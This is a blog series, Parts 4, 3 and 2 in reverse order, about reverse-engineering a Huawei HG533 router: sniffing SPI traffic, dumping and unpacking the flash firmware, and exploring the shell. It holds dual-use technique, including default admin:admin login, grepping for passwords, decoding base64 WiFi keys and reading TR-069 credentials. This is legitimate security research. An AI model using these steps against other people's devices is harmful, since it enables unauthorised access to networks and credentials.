Practical Reverse Engineering Part 4 — Dumping the Flash

Projects and learnt lessons on Systems Security, Embedded Development, IoT and anything worth writing about

  • Part 1: Hunting for Debug Ports
  • Part 2: Scouting the Firmware
  • Part 3: Following the Data
  • Part 4: Dumping the Flash
  • Part 5: Digging Through the Firmware

In Parts 1 to 3 we’ve been gathering data within its context. We could sniff the specific pieces of data we were interested in, or observe the resources used by each process. On the other hand, they had some serious limitations; we didn’t have access to ALL the data, and we had to deal with very minimal tools… And what if we had not been able to find a serial port on the PCB? What if we had but it didn’t use default credentials?

In this post we’re gonna get the data straight from the source, sacrificing context in favour of absolute access. We’re gonna dump the data from the Flash IC and decompress it so it’s usable. This method doesn’t require expensive equipment and is independent of everything we’ve done until now. An external Flash IC with a public datasheet is a reverser’s great ally.

Dumping the Memory Contents

As discussed in Part 3, we’ve got access to the datasheet for the Flash IC, so there’s no need to reverse its pinout:

Flash Pic Annotated Pinout

We also have its instruction set, so we can communicate with the IC using almost any device capable of ‘speaking’ SPI.

We also know that powering up the router will cause the Ralink to start communicating with the Flash IC, which would interfere with our own attempts to read the data. We need to stop the communication between the Ralink and the Flash IC, but the best way to do that depends on the design of the circuit we’re working with.

Do We Need to Desolder The Flash IC? [Theory]

The perfect way to avoid interference would be to simply desolder the Flash IC so it’s completely isolated from the rest of the circuit. It gives us absolute control and removes all possible sources of interference. Unfortunately, it also requires additional equipment, experience and time, so let’s see if we can avoid it.

The second option would be to find a way of keeping the Ralink inactive while everything else around it stays in standby. Microcontrollers often have a Reset pin that will force them to shut down when pulled to 0; they’re commonly used to force IC reboots without interrupting power to the board. In this case we don’t have access to the Ralink’s full datasheet (it’s probably distributed only to customers and under NDA); the IC’s form factor and the complexity of the circuit around it make for a very hard pinout to reverse, so let’s keep thinking…

What about powering one IC up but not the other? We can try applying voltage directly to the power pins of the Flash IC instead of powering up the whole circuit. Injecting power into the PCB in a way it wasn’t designed for could blow something up; we could reverse engineer the power circuit, but that’s tedious work. This router is cheap and widely available, so I took the ‘fuck it’ approach. The voltage required, according to the datasheet, is 3V; I’m just gonna apply power directly to the Flash IC and see what happens. It may power up the Ralink too, but it’s worth a try.

Flash Powered UART Connected

We start supplying power while observing the board and waiting for data from the Ralink’s UART port. We can see some LEDs light up at the back of the PCB, but there’s no data coming out of the UART port; the Ralink must not be running. Even though the Ralink is off, its connection to the Flash IC may still interfere with our traffic because of multiple design factors in both power circuit and the silicon. It’s important to keep that possibility in mind in case we see anything dodgy later on; if that was to happen we’d have to desolder the Flash IC (or just its data pins) to physically disconnect it from everything else.

The LEDs and other static components can’t communicate with the Flash IC, so they won’t be an issue as long as we can supply enough current for all of them. I’m just gonna use a bench power supply, with plenty of current available for everything. If you don’t have one you can try using the Master’s power lines, or some USB power adapter if you need some more current. They’ll probably do just fine.

Time to connect our SPI Master.

Connecting to the Flash IC

Now that we’ve confirmed there’s no need to desolder the Ralink we can connect any device that speaks SPI and start reading memory contents block by block. Any microcontroller will do, but a purpose-specific SPI-USB bridge will often be much faster. In this case I’m gonna be using a board based on the FT232H, which supports SPI among some other low level protocols.

We’ve got the pinout for both the Flash and my USB-SPI bridge, so let’s get everything connected.

Shikra and Power Connected to Flash

Now that the hardware is ready it’s time to start pumping data out.

Dumping the Data

We need some software in our computer that can understand the USB-SPI bridge’s traffic and replicate the memory contents as a binary file. Writing our own wouldn’t be difficult, but there are programs out there that already support lots of common Masters and Flash ICs. Let’s try the widely known and open source flashrom.

flashrom is old and buggy, but it already supports both the FT232H as Master and the FL064PIF as Slave. It gave me lots of trouble in both OSX and an Ubuntu VM, but ended up working just fine on a Raspberry Pi (Raspbian):

flashrom stdout

Success! We’ve got our memory dump, so we can ditch the hardware and start preparing the data for analysis.

Splitting the Binary

The file command has been able to identify some data about the binary, but that’s just because it starts with a header in a supported format. In a 0-knowledge scenario we’d use binwalk to take a first look at the binary file and find the data we’d like to extract.

Binwalk is a very useful tool for binary analysis created by the awesome hackers at /dev/ttyS0; you’ll certainly get to know them if you’re into hardware hacking.

binwalk spidump.bin

In this case we’re not in a 0-knowledge scenario; we’ve been gathering data since day 1, and we obtained a complete memory map of the Flash IC in Part 2. The addresses mentioned in the debug message are confirmed by binwalk, and it makes for much cleaner splitting of the binary, so let’s use it:

Flash Memory Map From Part 2

With the binary and the relevant addresses, it’s time to split the binary into its 4 basic segments. dd takes its parameters in terms of block size (bs, bytes), offset (skip, blocks) and size (count, blocks); all of them in decimal. We can use a calculator or let the shell do the hex do decimal conversions with $(()):

$ dd if=spidump.bin of=bootloader.bin bs=1 count=$((0x020000))
    131072+0 records in
    131072+0 records out
    131072 bytes transferred in 0.215768 secs (607467 bytes/sec)
$ dd if=spidump.bin of=mainkernel.bin bs=1 count=$((0x13D000-0x020000)) skip=$((0x020000))
    1167360+0 records in
    1167360+0 records out
    1167360 bytes transferred in 1.900925 secs (614101 bytes/sec)
$ dd if=spidump.bin of=mainrootfs.bin bs=1 count=$((0x660000-0x13D000)) skip=$((0x13D000))
    5386240+0 records in
    5386240+0 records out
    5386240 bytes transferred in 9.163635 secs (587784 bytes/sec)
$ dd if=spidump.bin of=protect.bin bs=1 count=$((0x800000-0x660000)) skip=$((0x660000))
    1703936+0 records in
    1703936+0 records out
    1703936 bytes transferred in 2.743594 secs (621060 bytes/sec)

We have created 4 different binary files:

  1. bootloader.bin: U-boot. The bootloader. It’s not compressed because the Ralink wouldn’t know how to decompress it.
  2. mainkernel.bin: Linux Kernel. The basic firmware in charge of controlling the bare metal. Compressed using lzma
  3. mainrootfs.bin: Filesystem. Contains all sorts of important binaries and configuration files. Compressed as squashfs using the lzma algorithm
  4. protect.bin: Miscellaneous data as explained in Part 3. Not compressed

Extracting the Data

Now that we’ve split the binary into its 4 basic segments, let’s take a closer look at each of them.


binwalk bootloader.bin

Binwalk found the uImage header and decoded it for us. U-Boot uses these headers to identify relevant memory areas. It’s the same info that the file command displayed when we fed it the whole memory dump because it’s the first header in the file.

We don’t care much for the bootloader’s contents in this case, so let’s ignore it.


binwalk mainkernel.bin

Compression is something we have to deal with before we can make any use of the data. binwalk has confirmed what we discovered in Part 2, the kernel is compressed using lzma, a very popular compression algorithm in embedded systems. A quick check with strings mainkernel.bin | less confirms there’s no human readable data in the binary, as expected.

There are multiple tools that can decompress lzma, such as 7z or xz. None of those liked mainkernel.bin:

$ xz --decompress mainkernel.bin
xz: mainkernel.bin: File format not recognized

The uImage header is probably messing with tools, so we’re gonna have to strip it out. We know the lzma data starts at byte 0x40, so let’s copy everything but the first 64 bytes.

dd if=mainkernel of=noheader

And when we try to decompress…

$ xz --decompress mainkernel_noheader.lzma
xz: mainkernel_noheader.lzma: Compressed data is corrupt

xz has been able to recognize the file as lzma, but now it doesn’t like the data itself. We’re trying to decompress the whole mainkernel Flash area, but the stored data is extremely unlikely to be occupying 100% of the memory segment. Let’s remove any unused memory from the tail of the binary and try again:

Cut off the tail; decompression success

xz seems to have decompressed the data successfully. We can easily verify that using the strings command, which finds ASCII strings in binary files. Since we’re at it, we may as well look for something useful…

strings kernel grep key

The Wi-Fi Easy and Secure Key Derivation string looks promising, but as it turns out it’s just a hardcoded string defined by the Wi-Fi Protected Setup spec. Nothing to do with the password generation algorithm we’re interested in.

We’ve proven the data has been properly decompressed, so let’s keep moving.


binwalk mainrootfs.bin

The mainrootfs memory segment does not have a uImage header because it’s relevant to the kernel but not to U-Boot.

SquashFS is a very common filesystem in embedded systems. There are multiple versions and variations, and manufacturers sometimes use custom signatures to make the data harder to locate inside the binary. We may have to fiddle with multiple versions of unsquashfs and/or modify the signatures, so let me show you what the signature looks like in this case:

sqsh signature in hexdump

Since the filesystem is very common and finding the right configuration is tedious work, somebody may have already written a script to automate the task. I came across this OSX-specific fork of the Firmware Modification Kit, which compiles multiple versions of unsquashfs and includes a neat script called to run all of them. It’s worth a try. mainrootfs.bin

Wasn’t that easy? We got lucky with the SquashFS version and supported signature, and managed to decompress the filesystem. Now we’ve got every binary in the filesystem, every symlink and configuration file, and everything is nice and tidy:

tree unsquashed_filesystem

In the complete file tree we can see we’ve got every file in the system, (other than runtime files like those in /var/, of course).

Using the intel we have been gathering on the firmware since day 1 we can start looking for potentially interesting binaries:

grep -i -r '$INTEL' squashfs-root

If we were looking for network/application vulnerabilities in the router, having every binary and config file in the system would be massively useful.


binwalk protect.bin

As we discussed in Part 3, this memory area is not compressed and contains all pieces of data that need to survive across reboots but be different across devices. strings seems like an appropriate tool for a quick overview of the data:

strings protect.bin

Everything in there seems to be just the curcfg.xml contents, some logs and those few isolated strings in the picture. We already sniffed and analysed all of that data in Part 3, so there’s nothing else to discuss here.

Next Steps

At this point all hardware reversing for the Ralink is complete and we’ve collected everything there was to collect in ROM. Just think of what you may be interested in and there has to be a way to find it. Imagine we wanted to control the router through the UART debug port we found in Part 1, but when we try to access the ATP CLI we can’t figure out the credentials. After dumping the external Flash we’d be able to find the XML file in the protect area, and discover the credentials just like we did in Part 2 (The Rambo Approach to Intel Gatheringadmin:admin).

If you couldn’t dump the memory IC for any reason, the firmware upgrade files provided by the manufacturers will sometimes be complete memory segments; the device simply overwrites the relevant flash areas using code previously loaded to RAM. Downloading the file from the manufacturer would be the equivalent of dumping those segments from flash, so we just need to decompress them. They won’t have all the data, but it may be enough for your purposes.

Now that we’ve got the firmware we just need to think of anything we may be interested in and start looking for it through the data. In the next post we’ll dig a bit into different binaries and try to find more potentially useful data.

Practical Reverse Engineering Part 3 — Following the Data

Projects and learnt lessons on Systems Security, Embedded Development, IoT and anything worth writing about

  • Part 1: Hunting for Debug Ports
  • Part 2: Scouting the Firmware
  • Part 3: Following the Data
  • Part 4: Dumping the Flash
  • Part 5: Digging Through the Firmware

The best thing about hardware hacking is having full access to very bare metal, and all the electrical signals that make the system work. With ingenuity and access to the right equipment we should be able to obtain any data we want. From simply sniffing traffic with a cheap logic analyser to using thousands of dollars worth of equipment to obtain private keys by measuring the power consumed by the device with enough precision (power analysis side channel attack); if the physics make sense, it’s likely to work given the right circumstances.

In this post I’d like to discuss traffic sniffing and how we can use it to gather intel.

Traffic sniffing at a practical level is used all the time for all sorts of purposes, from regular debugging during the delopment process to reversing the interface of gaming controllers, etc. It’s definitely worth a post of its own, even though this device can be reversed without it.

Please check out the legal disclaimer in case I come across anything sensitive.

Full disclosure: I’m in contact with Huawei’s security team. I tried to contact TalkTalk, but their security staff is nowhere to be seen.

Data Flows In the PCB

Data is useless within its static memory cells, it needs to be read, written and passed around in order to be useful. A quick look at the board is enough to deduce where the data is flowing through, based on IC placement and PCB traces:

PCB With Data Flows and Some IC Names

We’re not looking for hardware backdoors or anything buried too deep, so we’re only gonna look into the SPI data flowing between the Ralink and its external Flash.

Pretty much every IC in the market has a datasheet documenting all its technical characteristics, from pinouts to power usage and communication protocols. There are tons of public datasheets on google, so find the ones relevant to the traffic you want to sniff:

Now we’ve got pinouts, electrical characteristics, protocol details… Let’s take a first look and extract the most relevant pieces of data.

Understanding the Flash IC

We know which data flow we’re interested: The SPI traffic between the Ralink IC and Flash. Let’s get started; the first thing we need is to figure out how to connect the logic analyser. In this case we’ve got the datasheet for the Flash IC, so there’s no need to reverse engineer any pinouts:

Flash Pic Annotated Pinout

Standard SPI communication uses 4 pins:

  1. MISO (Master In Slave Out): Data line Ralink<-Flash
  2. MOSI (Master Out Slave In): Data line Ralink->Flash
  3. SCK (Clock Signal): Coordinates when to read the data lines
  4. CS# (Chip Select): Enables the Flash IC when set to 0 so multiple of them can share MISO/MOSI/SCK lines.

We know the pinout, so let’s just connect a logic analyser to those 4 pins and capture some random transmission:

Connected Logic Analyser

In order to set up our logic analyser we need to find out some SPI configuation options, specifically:

  • Transmission endianness [Standard: MSB First]
  • Number of bits per transfer [Standard: 8]. Will be obvious in the capture
  • CPOL: Default state of the clock line while inactive [0 or 1]. Will be obvious in the capture
  • CPHA: Clock edge that triggers the data read in the data lines [0=leading, 1=trailing]. We’ll have to deduce this

The datasheet explains that the flash IC understands only 2 combinations of CPOL and CPHA: (CPOL=0, CPHA=0) or (CPOL=1, CPHA=1)

Datasheet SPI Settings

Let’s take a first look at some sniffed data:

Logic Screencap With CPOL/CPHA Annotated

In order to understand exactly what’s happenning you’ll need the FL064PIF’s instruction set, available in its datasheet:

FL064PIF Instruction Set

Now we can finally analyse the captured data:

Logic Sample SPI Packet

In the datasheet we can see that the FL064PIF has high-performance features for read and write operations: Dual and Quad options that multiplex the data over more lines to increase the transmission speed. From taking a few samples, it doesn’t seem like the router uses these features much -if at all-, but it’s important to keep the possibility in mind in case we see something odd in a capture.

Transmission modes that require additional pins can be a problem if your logic analyser is not powerful enough.

The Importance of Your Sampling Rate [Theory]

A logic analyser is a conceptually simple device: It reads signal lines as digital inputs every x microseconds for y seconds, and when it’s done it sends the data to your computer to be analysed.

For the protocol analyser to generate accurate data it’s vital that we record digital inputs faster than the device writes them. Otherwise the data will be mangled by missing bits or deformed waveforms.

Unfortunately, your logic analyser’s maximum sampling rate depends on how powerful/expensive it is and how many lines you need to sniff at a time. High-speed interfaces with multiple data lines can be a problem if you don’t have access to expensive equipment.

I recorded this data from the Ralink-Flash SPI bus using a low-end Saleae analyser at its maximum sampling rate for this number of lines, 24 MS/s:

Picture of Deformed Clock Signal

As you can see, even though the clock signal has the 8 low to high transitions required for each byte, the waveform is deformed.

Since the clock signal is used to coordinate when to read the data lines, this kind of waveform deformation may cause data corruption even if we don’t drop any bits (depending partly on the design of your logic analyser). There’s always some wiggle room for read inaccuracies, and we don’t need 100% correct data at this point, but it’s important to keep all error vectors in mind.

Let’s sniff the same bus using a higher performance logic analyser at 100 MS/s:

High Sampling Rate SPI Sample Reading

As you can see, this clock signal is perfectly regular when our Sampling Rate is high enough.

If you see anything dodgy in your traffic capture, consider how much data you’re willing to lose and whether you’re being limited by your equipment. If that’s the case, either skip this Reversing vector or consider investing in a better logic analyser.

Seeing the Data Flow

We’re already familiar with the system thanks to the overview of the firmware we did in Part 2, so we can think of some specific SPI transmissions that we may be interested in sniffing. Simply connecting an oscilloscope to the MISO and MOSI pins will help us figure out how to trigger those transmissions and yield some other useful data.

Scope and UART Connected

Here’s a video (no audio) showing both the serial interface and the MISO/MOSI signals while we manipulate the router:

This is a great way of easily identifying processes or actions that trigger flash read/write actions, and will help us find out when to start recording with the logic analyser and for how long.

Analysing SPI Traffic — ATP’s Save Command

In Post 2 I mentioned ATP CLI has a save command that stores something to flash; unfortunately, the help menu (save ?) won’t tell you what it’s doing and the only output when you run it is a few dots that act as a progress bar. Why don’t we find out by ourselves? Let’s make a plan:

  1. Wait until boot sequence is complete and the router is idle so there’s no unexpected SPI traffic
  2. Start the ATP Cli as explained in Part 1
  3. Connect the oscilloscope to MISO/MOSI and run save to get a rough estimate of how much time we need to capture data for
  4. Set a trigger in the enable line sniffed by the logic analyser so it starts recording as soon as the flash IC is selected
  5. Run save
  6. Analyse the captured data

Steps 3 and 4 can be combined so you see the data flow in real time in the scopewhile you see the charge bar for the logic analyser; that way you can make sure you don’t miss any data. In order to comfortably connect both scope and logic sniffer to the same pins, these test clips come in very handy:

SOIC16 Test Clip Connected to Flash IC

Once we’ve got the traffic we can take a first look at it:

Analysing Save Capture on Logic

Let’s consider what sort of data could be extracted from this traffic dump that might be useful to us. We’re working with a memory storage IC, so we can see the data that is being read/written and the addresses where it belongs. I think we can represent that data in a useful way by 2 means:

  1. Traffic map depicting which Flash areas are being written, read or erased in chronological order
  2. Create binary files that replicate the memory blocks that were read/written, preferably removing all the protocol rubbish that we sniffed along with them.

Saleae’s SPI analyser will export the data as a CSV file. Ideally we’d improve their protocol analyser to add the functionality we want, but that would be too much work for this project. One of the great things about low level protocols like SPI is that they’re usually very straightforward; I decided to write some python spaghetti code to analyse the CSV file and extract the data we’re looking for:

The workflow to analyse a capture is the following:

  1. Export sniffed traffic as CSV
  2. Run the script:
    • Iterate through the CSV file
    • Identify different commands by their index
    • Recognise the command expressed by the first byte
    • Process its arguments (addresses, etc.)
    • Identify the read/write payload
    • Convert ASCII representation of each payload byte to binary
    • Write binary blocks to different files for MISO (read) and MOSI (write)
  3. Read the traffic map (regular text) and the binaries (hexdump -C output.bin | less)

The scripts generate these results:

The traffic map is much more useful when combined with the Flash memory map we found in Part 2:

Flash Memory Map From Part 2

From the traffic map we can see the bulk of the save command’s traffic is simple:

  1. Read about 64kB of data from the protect area
  2. Overwrite the data we just read

In the MISO binary we can see most of the read data was just tons of 1s:

Picture MISO Hexdump 0xff

Most of the data in the MOSI binary is plaintext XML, and it looks exactly like the /var/curcfg.xml file we discovered in Part 2. As we discussed then, this “current configuration” file contains tons of useful data, including the current WiFi credentials.

It’s standard to keep reserved areas in flash; they’re mostly for miscellaneous data that needs to survive across reboots and be configurable by user, firmware or factory. It makes sense for a command called save to write data to such area, it explains why the data is perfectly readable as opposed to being compressed like the filesystem, and why we found the XML file in the /var/ folder of the filesystem (it’s a folder for runtime files; data in the protect area has to be loaded to memory separately from the filesystem).

The Pot of Gold at the End of the Firmware [Theory]

During this whole process it’s useful to have some sort of target to keep you digging in the same general direction.

Our target is an old one: the algorithm that generates the router’s default WiFi password. If we get our hands on such algorithm and it happens to derive the password from public information, any HG533 in the world with default WiFi credentials would probably be vulnerable.

That exact security issue has been found countless times in the past, usually deriving the password from public data like the Access Point’s MAC address or its SSID.

That being said, not all routers are vulnerable, and I personally don’t expect this one to be. The main reason behind targeting this specific vector is that it’s caused by a recurrent problem in embedded engineering: The need for a piece of data that is known by the firmware, unique to each device and known by an external entity. From default WiFi passwords to device credentials for IoT devices, this problem manifests in different ways all over the Industry.

Future posts will probably reference the different possibilities I’m about to explain, so let me get all that theory out of the way now.

The Sticker Problem

In this day and era, connecting to your router via ethernet so there’s no need for default WiFi credentials is not an option, using a display to show a randomly generated password would be too expensive, etc. etc. etc. The most widely adopted solution for routers is to create a WiFi network using default credentials, print those credentials on a sticker at the factory and stick it to the back of the device.

Router Sticker - Annotated

The WiFi password is the ‘unique piece of data’, and the computer printing the stickers in the factory is the ‘external entity’. Both the firmware and the computer need to know the default WiFi credentials, so the engineer needs to decide how to coordinate them. Usually there are 2 options available:

  1. The same algorithm is implemented in both the device and the computer, and its input parameters are known to both of them
  2. A computer generates the credentials for each device and they’re stored into each device separately

Developer incompetence aside, the first approach is usually taken as a last resort; if you can’t get your hardware manufacturer to flash unique data to each device or can’t afford the increase in manufacturing cost.

The second approach is much better by design: We’re not trusting the hardware with data sensitive enough to compromise every other device in the field. That being said, the company may still decide to use an algorithm with predictable outputs instead of completely random data; that would make the system as secure as the weakest link between the algorithm -mathematically speaking-, the confidentiality of their source code and the security of the computers/network running it.

Sniffing Factory Reset

So now that we’ve discussed our target, let’s gather some data about it. The first thing we wanna figure out is which actions will kickstart the flow of relevant data on the PCB. In this case there’s 1 particular action: Pressing the Factory Reset button for 10s. This should replace the existing WiFi credentials with the default ones, so the default creds will have to be generated/read. If the key or the generation algorithm need to be retrieved from Flash, we’ll see them in a traffic capture.

That’s exactly what we’re gonna do, and we’re gonna observe the UART interface, the oscilloscope and the logic analyser during/after pressing the reset button. The same process we followed for ATP’s save gives us these results:

UART output:

UART Factory Reset Debug Messages

Traffic overview:

Logic Screencap Traffic Overview

Output from our python scripts:

The traffic map tells us the device first reads and overwrites 2 large chunks of data from the protect area and then reads a smaller chunk of data from the filesystem (possibly part of the next process to execute):

|Transmission  Map|
|  MOSI  |  MISO  |
|        |0x7e0000| Size: 12    //Part of the Protected area
|        |0x7e0000| Size: 1782
|        |0x7e073d| Size: 63683
| ERASE 0x7e073d  | Size: 64kB
|0x7e073d|        | Size: 195
|0x7e0800|        | Size: 256
|0x7e0900|        | Size: 256
|0x7e0600|        | Size: 256
|0x7e0700|        | Size: 61
|        |0x7d0008| Size: 65529 //Part of the Protected area
| ERASE 0x7d0008  | Size: 64kB
|0x7d0008|        | Size: 248
|0x7d0100|        | Size: 256
|0x7dff00|        | Size: 256
|0x7d0000|        | Size: 8
|        |0x1c3800| Size: 512   //Part of the Filesystem
|        |0x1c3a00| Size: 512
|        |0x1c5a00| Size: 512
|        |0x1c5c00| Size: 512

Once again, we combine transmission map and binary files to gain some insight into the system. In this case, the ‘factory reset’ code seems to:

  1. Read ATP_LOG from Flash; it contains info such as remote router accesses or factory resets. It ends with a large chunk of 1s (0xff)
  2. Overwrite that memory segment with 1s
  3. write a ‘new’ ATP_LOG followed by the “current configuration” curcfg.xmlfile
  4. Read compressed (unintelligible to us) memory chunk from the filesystem

The chunk from the filesystem is read AFTER writing the new password to Flash, which doesn’t make sense for a password generation algorithm. That being said, the algorithm may be already loaded into memory, so its absence in the SPI traffic is not conclusive on whether or not it exists.

As part of the MOSI data we can see the new WiFi password be saved to Flash inside the XML string:

Found Current Password MOSI

What about the default password being read? If we look in the MISO binary, it’s nowhere to be seen. Either the Ralink is reading it using a different mode (secure/dual/quad/?) or the credentials/algorithm are already loaded in RAM (no need to read them from Flash again, since they can’t change). The later seems more likely, so I’m not gonna bother updating my scripts to support different read modes. We write down what we’ve found and we’ll get back to the default credentials in the next part.

Since we’re at it, let’s take a look at the SPI traffic generated when setting new WiFi credentials via HTTP: MapMISOMOSI. We can actually see the default credentials being read from the protect area of Flash this time (not sure why the Ralink would load it to set a new password; it’s probably incidental):

Default WiFi Creds In MISO Capture

As you can see, they’re in plain text and separated from almost anything else in Flash. This may very well mean there’s no password generation algorithm in this device, but it is NOT conclusive. The developers could have decided to generate the credentials only once (first boot?) and store them to flash in order to limit the number of times the algorithm is accessed/executed, which helps hide the binary that contains it. Otherwise we could just observe the running processes in the router while we press the Factory Reset button and see which ones spawn or start consuming more resources.

Next Steps

Now that we’ve got the code we need to create binary recreations of the traffic and transmission maps, getting from a capture to binary files takes seconds. I captured other transmissions such as the first few seconds of boot (mapmiso), but there wasn’t much worth discussing. The ability to easily obtain such useful data will probably come in handy moving forward, though.

In the next post we get the data straight from the source, communicating with the Flash IC directly to dump its memory. We’ll deal with compression algorithms for the extracted data, and we’ll keep piecing everything together.

Happy Hacking! 🙂


Practical Reverse Engineering Part 2 — Scouting the Firmware

Projects and learnt lessons on Systems Security, Embedded Development, IoT and anything worth writing about


  • Part 1: Hunting for Debug Ports
  • Part 2: Scouting the Firmware
  • Part 3: Following the Data
  • Part 4: Dumping the Flash
  • Part 5: Digging Through the Firmware

In part 1 we found a debug UART port that gave us access to a Linux shell. At this point we’ve got the same access to the router that a developer would use to debug issues, control the system, etc.

This first overview of the system is easy to access, doesn’t require expensive tools and will often yield very interesting results. If you want to do some hardware hacking but don’t have the time to get your hands too dirty, this is often the point where you stop digging into the hardware and start working on the higher level interfaces: network vulnerabilities, ISP configuration protocols, etc.

These posts are hardware-oriented, so we’re just gonna use this access to gather some random pieces of data. Anything that can help us understand the system or may come in handy later on.

Please check out the legal disclaimer in case I come across anything sensitive.

Full disclosure: I’m in contact with Huawei’s security team; they’ve had time to review the data I’m going to reveal in this post and confirm there’s nothing too sensitive for publication. I tried to contact TalkTalk, but their security staff is nowhere to be seen.

Picking Up Where We Left Off

Picture of Documented UARTs

We get our serial terminal application up and running in the computer and power up the router.

Boot Sequence

We press enter and get the login prompt from ATP Cli; introduce the credentials admin:admin and we’re in the ATP command line. Execute the command shell and we get to the BusyBox CLI (more on BusyBox later).

-----Welcome to ATP Cli------
Login: admin
Password:    #Password is ‘admin'
BusyBox vv1.9.1 (2013-08-29 11:15:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls
var   usr   tmp   sbin  proc  mnt   lib   init  etc   dev   bin

At this point we’ve seen the 3 basic layers of firmware in the Ralink IC:

  1. U-boot: The device’s bootloader. It understands the device’s memory map, kickstarts the main firmware execution and takes care of some other low level tasks
  2. Linux: The router is running Linux to keep overall control of the hardware, coordinate parallel processes, etc. Both ATP CLI and BusyBox run on top of it
  3. Busybox: A small binary including reduced versions of multiple linux commands. It also supplies the shell we call those commands from.

Lower level interfaces are less intuitive, may not have access to all the data and increase the chances of bricking the device; it’s always a good idea to start from BusyBox and walk your way down.

For now, let’s focus on the boot sequence itself. The developers thought it would be useful to display certain pieces of data during boot, so let’s see if there’s anything we can use.

Boot Debug Messages

We find multiple random pieces of data scattered across the boot sequence. We’ll find useful info such as the compression algorithm used for some flash segments:

boot msg kernel lzma

Intel on how the external flash memory is structured will be very useful when we get to extracting it.

ram data. not very useful

SPI Flash Memory Map!

And more compression intel:

root is squashfs'd

We’ll have to deal with the compression algorithms when we try to access the raw data from the external Flash, so it’s good to know which ones are being used.

What Are ATP CLI and BusyBox Exactly? [Theory]

The Ralink IC in this router runs a Linux kernel to control memory and parallel processes, keep overall control of the system, etc. In this case, according to the Ralink’s product brief, they used the Linux 2.6.21 SDKATP CLI is a CLI running either on top of Linux or as part of the kernel. It provides a first layer of authentication into the system, but other than that it’s very limited:

Welcome to ATP command line tool.
If any question, please input "?" at the end of command.

help doesn’t mention the shell command, but it’s usually either shell orsh. This ATP CLI includes less than 10 commands, and doesn’t support any kind of complex process control or file navigation. That’s where BusyBox comes in.

BusyBox is a single binary containing reduced versions of common unix commands, both for development convenience and -most importantly- to save memory. From ls and cd to top, System V init scripts and pipes, it allows us to use the Ralink IC somewhat like your regular Linux box.

One of the utilities the BusyBox binary includes is the shell itself, which has access to the rest of the commands:

BusyBox vv1.9.1 (2013-08-29 11:15:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls
var   usr   tmp   sbin  proc  mnt   lib   init  etc   dev   bin
# ls /bin
zebra        swapdev      printserver  ln           ebtables     cat
wpsd         startbsp     pppc         klog         dns          busybox
wlancmd      sntp         ping         kill         dms          brctl
web          smbpasswd    ntfs-3g      iwpriv       dhcps        atserver
usbserver    smbd         nmbd         iwconfig     dhcpc        atmcmd
usbmount     sleep        netstat      iptables     ddnsc        atcmd
upnp         siproxd      mount        ipp          date         at
upg          sh           mldproxy     ipcheck      cwmp         ash
umount       scanner      mknod        ip           cp           adslcmd
tr111        rm           mkdir        igmpproxy    console      acl
tr064        ripd         mii_mgr      hw_nat       cms          ac
telnetd      reg          mic          ethcmd       cli
tc           radvdump     ls           equipcmd     chown
switch       ps           log          echo         chmod

You’ll notice different BusyBox quirks while exploring the filesystem, such as the symlinks to a busybox binary in /bin/. That’s good to know, since any commands that may contain sensitive data will not be part of the BusyBox binary.

Exploring the File System

Now that we’re in the system and know which commands are available, let’s see if there’s anything useful in there. We just want a first overview of the system, so I’m not gonna bother exposing every tiny piece of data.

The top command will help us identify which processes are consuming the most resources. This can be an extremely good indicator of whether some processes are important or not. It doesn’t say much while the router’s idle, though:


One of the processes running is usbmount, so the router must support connecting ‘something’ to the USB port. Let’s plug in a flash drive in there…

usb 1-1: new high speed USB device using rt3xxx-ehci and address 2
++++++sambacms.c 2374 renice=renice -n +10 -p 1423

The USB is recognised and mounted to /mnt/usb1_1/, and a samba server is started. These files show up in /etc/samba/:

# ls -l /etc/samba/
-rw-r--r--    1 0        0             103 smbpasswd
-rw-r--r--    1 0        0               0 smbusers
-rw-r--r--    1 0        0             480 smb.conf
-rw-------    1 0        0            8192 secrets.tdb
# cat /etc/samba/smbpasswd
nobody:0:XXXXXXXXXXXXXXXXXXX:564E923F5AF30J373F7C8_______4D2A:[U ]:LCT-1ED36884:

More data, in case it ever comes in handy:

  • netstat -a: Network ports the device is listening at
  • iptables –list: We could set up telnet and continue over the network, but I’d rather stay as close to the bare metal as possible
  • wlancmd help: Utility to control the WiFi radio, plenty of options available
  • /etc/profile
  • /etc/inetd
  • /etc/services
  • /var/: Contains files used by the system during the course of its operation
  • /etc/: System configuration files, etc.

/var/ and /etc/ always contain tons of useful data, and some of it makes itself obvious at first sight. Does that say /etc/serverkey.pem??

Blurred /etc/serverkey.pem


It’s not unusual to find private keys for TLS certificates in embedded systems. By accessing 1 single device via hardware you may obtain the keys that will help you attack any other device of the same model.

This key could be used to communicate with some server from Huawei or the ISP, although that’s less common. On the other hand, it’s also very common to findpublic certs used to communicate with remote servers.

In this case we find 2 certificates next to the private key; both are self-signed by the same ‘person’:

  • /etc/servercert.pem: Most likely the certificate for the serverkey
  • /etc/root.pem: Probably used to connect to a server from the ISP or Huawei. Not sure.

And some more data in /etc/ppp256/config and /etc/ppp258/config:


These credentials are also available via the HTTP interface, which is why I’m publishing them, but that’s not the case in many other routers (more on this later).

With so many different files everywhere it can be quite time consuming to go through all the info without the right tools. We’re gonna copy as much data as we can into the USB drive and go through it on our computer.

The Rambo Approach to Intel Gathering

Once we have as many files as possible in our computer we can check some things very quick. find . -name *.pem reveals there aren’t any other TLS certificates.

What about searching the word password in all files? grep -i -r password .

Grep Password

We can see lots of credentials; most of them are for STUN, TR-069 and local services. I’m publishing them because this router proudly displays them all via the HTTP interface, but those are usually hidden.

If you wanna know what happens when someone starts pulling from that thread, check out Alexander Graf’s talk “Beyond Your Cable Modem”, from CCC 2015. There are many other talks about attacking TR-069 from DefCon, BlackHat, etc. etc.

The credentials we can see are either in plain text or encoded in base64. Of course, encoding is worthless for data protection:

$ echo "QUJCNFVCTU4=" | base64 -D

WiFi pwd in curcfg.xml

That is the current WiFi password set in the router. It leads us to 2 VERY interesting files. Not just because of their content, but because they’re a vital part of how the router operates:

  • /var/curcfg.xml: Current configuration file. Among other things, it contains the current WiFi password encoded in base64
  • /etc/defaultcfg.xml: Default configuration file, used for ‘factory reset’. Does not include the default WiFi password (more on this in the next posts)

Exploring ATP’s CLI

The ATP CLI includes very few commands. The most interesting one -besidesshell— is debug. This isn’t your regular debugger; debug display will simply give you some info about the commands igmpproxycwmpsysuptime or atpversionMost of them don’t have anything juicy, but what about cwmp? Wasn’t that related to remote configuration of routers?

debug display cwmp

Once again, these are the CWMP (TR-069) credentials used for remote router configuration. Not even encoded this time.

